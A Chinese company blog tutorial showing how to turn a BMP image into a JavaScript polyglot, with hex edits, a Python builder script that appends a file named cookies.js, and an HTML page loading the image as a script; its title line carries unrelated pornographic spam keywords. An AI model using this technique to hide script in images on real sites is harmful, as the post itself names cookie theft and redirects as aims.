无码精品宅男二区在线观看_无码香蕉久综合在线久草观看_久久亚洲三区亚洲热香蕉导航综合_亚洲伊人热一本香蕉天久麻豆熟女老司机乱伦

網絡建站知識

精準傳達 ? 價值共享

洞悉互聯網前沿資訊,探尋網站營銷規律

查看其它板塊

圖片文件黑客攻擊原理

作者:狐靈科技 | 2020-01-12 17:30 |點擊:

這里以位圖 BMP 為例演示圖片文件黑客攻擊的原理及實現。

 

創建位圖

創建或者隨便找一個位圖,使用編輯器(本文使用 UltraEdit 作為編輯查看工具)打開,可看到 16進制數。

BMP 格式中,前 2 字節是用于識別位圖文件格式的字段,可以看到它對應 ASCII 碼的 BM只要該字段正確,圖片文件就能被正確識別處理,而無論其余數據是否損壞。隨后 4 字節用于指示文件大小,單位為字節。

靈夢.bmp

靈夢.bmp

 

 

插入腳本

在此基礎上,我們就可以對圖片動一些手腳了,我們可以在圖片中插入一段 JS 腳本。

比如獲取該網頁cookie的腳本或者重定向到目標網站的腳本。這里我們僅作效果演示,所以用了彈框:

window.onload = alert("Image hacked!");
 
JavaScript

然后我們將腳本插入到圖片中,具體步驟如下:

  1. 2A 2F(即 JS 多行注釋中*/的十六進制碼)替換為00 00,防止語法錯誤干擾腳本運行
  2. 在圖片的前兩個字節后插入2F 2A( JS 多行注釋中/*的十六進制碼)
  3. 在圖片末尾插入FF 2A 2F 3D 31 3B(即*/=1;),其中=1;用于結束開頭的BM。
  4. 在圖片最后插入你寫好的腳本的十六進制碼。

 

2
2
2
4
4
4

 

以上操作可以通過 Python 腳本簡單實現:

# -*- coding:utf-8 -*-

src_img_name = '靈夢.bmp'
rst_img_name = 'hackimg.bmp'
append_js_name = 'cookies.js'

with open(src_img_name,'rb') as f:
    buff = f.read()
    buff = buff.replace(b'\x2A\x2F',b'\x00\x00')

with open(rst_img_name,'wb') as f:
    f.write(buff)
    f.seek(2)
    f.write(b'\x2F\x2A')
    f.seek(0,2)
    f.write(b'\xFF\x2A\x2F\x3D\x31\x3B')
    f.write(open(append_js_name,'rb').read())
 
Python

最后我們得到插入了惡意代碼的位圖文件:
hackimg.bmp

hackimg.bmp

 

 

瀏覽器運行

創建index.html文件,內容如下:

<!DOCTYPE html>
<html lang="zh">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>圖片黑客攻擊</title>
</head>
<body>
    <img src="hackimg.bmp" alt="博麗靈夢"><!-- 這里我們看到圖片還能正常顯示 -->
    <script src="hackimg.bmp"></script><!-- 腳本也成功執行了 -->
</body>
</html>
 
HTML

運行效果如下:
15778547433291.png

15778547433291.png

 

其他圖片格式也可以通過類似的操作實現。

 
如沒特殊注明,文章均為狐靈科技原創,轉載請注明?? "圖片文件黑客攻擊原理
多一份免費策劃方案,總有益處。

請直接添加技術總監微信聯系咨詢

網站設計 品牌營銷

多一份參考,總有益處

聯系狐靈科技,免費獲得專屬《策劃方案》及報價

咨詢相關問題或預約面談,可以通過以下方式與我們聯系

業務熱線:15082661954 / 大客戶專線:15523356218